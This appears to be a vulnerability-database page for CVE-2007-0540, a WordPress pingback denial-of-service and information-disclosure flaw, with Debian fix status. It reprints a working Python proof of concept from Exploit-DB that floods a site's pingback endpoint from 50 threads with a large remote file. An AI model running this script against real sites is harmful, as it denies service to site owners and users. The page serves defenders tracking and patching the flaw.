CVE-2007-0540

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

WordPress allows remote attackers to cause a denial of service (bandwidth or thread consumption) via pingback service calls with a source URI that corresponds to a file with a binary content type, which is downloaded even though it cannot contain usable pingback data.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-29522 webapps php verified python · 1 KB
Blake Matheny · 2007-01-24

WordPress Core 1.x/2.0.x - Pingback SourceURI Denial of Service / Information Disclosure

python exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/22220/info

WordPress is prone to a denial-of-service vulnerability and an information-disclosure vulnerability.

Attackers can exploit these issues to consume memory and bandwidth resources, denying service to legitimate users, or to gain information that may aid in further attacks.

Versions prior to WordPress 2.1 are vulnerable. 

#!/bin/env python
# vim:ft=python:fileencoding=utf-8
#
from xmlrpclib import ServerProxy
from urllib import urlopen
from random import randint
	from threading import Thread
 	
# Define target
targetURL = "http://www.example.com/file.html"
hugeFile  = "http://www.example.com/path-to-a-big-iso-file-from-a-major-linux-distribution.iso#i%d"
 	
# Fetch Pingback-URL
pingbackURL =  urlopen(targetURL).headers["X-Pingback"]
print "Target URL: %s\nPingback:   %s" % (targetURL, pingbackURL)
 	
# Attack
def attack():
  server = ServerProxy(pingbackURL)
  try: server.pingback.ping(hugeFile % randint(10, 1000), targetURL)
  except: pass
for i in range(50):
  Thread(target=attack).start()
print "-- attacking --"

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 2.1.0-1
sid Fixed 2.1.0-1
forky Fixed 2.1.0-1
bullseye Fixed 2.1.0-1
bookworm Fixed 2.1.0-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.